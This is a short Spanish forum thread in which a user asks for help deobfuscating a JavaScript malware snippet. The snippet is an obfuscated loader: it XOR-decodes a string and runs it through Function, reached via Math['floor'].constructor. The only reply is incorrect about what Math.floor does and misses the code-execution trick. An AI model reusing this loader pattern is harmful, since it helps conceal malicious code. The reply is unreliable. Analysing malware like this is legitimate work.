Solicitud ayuda con JS

Iniciado por XcryptOR, 21 Junio 2015, 16:34 PM

0 Miembros y 1 Visitante están viendo este tema.

XcryptOR

buenos dias, hace mucho que no venia por elhacker.net. ,

solicito la ayuda de alguien en la medida de lo posible, quisiera saber si alguien ha descifrado algun malware de JS

b = [], Q = "", J = 3;

if (typeof prompt != "undefined") {
  var v = J++;
}
var v = v || Math, k = parseInt, i = "slice", z = "fromCharCode";

for (var Z = 0; Z < E.length;) b[~~(Z / 3)] = k(E[i](Z, Z += J), 23);
for (var X = 0; X < b.length; X += 2) Q += String[z](b[X] ^ b[X + 1]);var N = Math["floor"].constructor; N(Q)();


apenas comienzo con JS y me seria de mucha ayuda descifrar el code anteriror, me quedo varado en la ultima instrucción, en realidad no entiendo que hace
Math["floor"].constructor;

por lo que he consultado es una funcion matematica para manejo de numeros enteros, si alguien me podria colabrar quedo agradecido

XcryptOR



tincopasan

Creo que se usa para redondear números y devuelve un double cuya parte decimal siempre es 0 , claro que si el valor  es por ejemplo 1.6 se redondea a 2.0 y si es menor o igual a 1.5 devuelve 1.0

XcryptOR

Gracias, por lo que veo es una función en js y creo que es la que necesito pero ni modo